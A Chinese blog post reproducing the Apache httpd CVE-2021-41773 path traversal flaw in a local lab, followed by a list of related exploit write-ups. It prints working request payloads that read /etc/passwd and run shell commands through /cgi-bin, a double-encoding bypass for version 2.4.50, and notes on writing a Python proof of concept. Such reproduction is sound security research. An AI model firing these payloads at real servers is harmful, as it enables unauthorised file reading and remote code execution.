CVE-2021-41773 Apache Httpd Server 漏洞复现
2021-10-13 00:04
1171 查看
CVE-2021-41773 Apache Httpd Server 漏洞复现
0x00 写在前面
很久没写水漏洞复现的文章了,水一篇。
0x01 漏洞简介
是目录穿越文件读取漏洞,漏洞只影响2.4.49,2.4.50不完全修复可绕过,如果开启
mod_cgi可RCE
详情可参考下面链接
https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
0x02 漏洞复现
这里用的https://github.com/blasty/CVE-2021-41773项目起的环境
文件读取
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: 127.0.0.1:8080
RCE
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: text/plain Content-Length: 8 echo; id
2.4.50版本暂未复现,payload中目录穿越部分换为
.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65即可
0x03 poc编写
主要记录下写poc时踩的坑,本人用的python3.9.6 一开始用的requests库,但是发现requests库在发送http请求时会自己先对url进行处理,而不会直接将我们在脚本中写好的url直接发过去。
部分源码如下:
报错如下:
而burp发过去就是很正常的,最后查看日志时发现了问题
error.log:
access.log
结果:burp传过去在log里看是有url编码的,requests过去的在发送前已经先做了一次urldecode
这里没有debug跟源码,用urllib.request作为请求库就解决了
相关文章推荐
- Apache Httpd换行解析漏洞复现(CVE-2017-15715)
- Apache Druid 远程代码执行 CVE-2021-25646 漏洞复现
- apache httpd多后缀解析漏洞复现
- Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现
- [CVE-2016-4437] Apache Shiro 1.2.4反序列化漏洞复现
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现
- Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现
- [CVE-2017-12636] Apache CouchDB命令执行漏洞复现
- Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
- [CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)
- [CVE-2012-0392] Apache Struts 2远程代码执行漏洞复现(第五弹)
- CVE-2020-1938:Apache Tomcat-AJP任意文件读取漏洞复现
- Apache HTTP Server mod_session_dbd 远程安全漏洞(CVE-2013-2249)
- Apache Tomcat Ajp-CVE-2020-1938漏洞复现
- 【CVE-2018-11759】Apache mod_jk访问控制的绕过漏洞复现
- CVE-2020-1938 Apache-Tomcat-Ajp漏洞复现,加固,你想要的姿势这里都有
- Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现
- 利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)
- Apache 提权漏洞(CVE-2019-0211)复现
- Apache HTTP Server HTTP响应分离漏洞(CVE-2016-4975)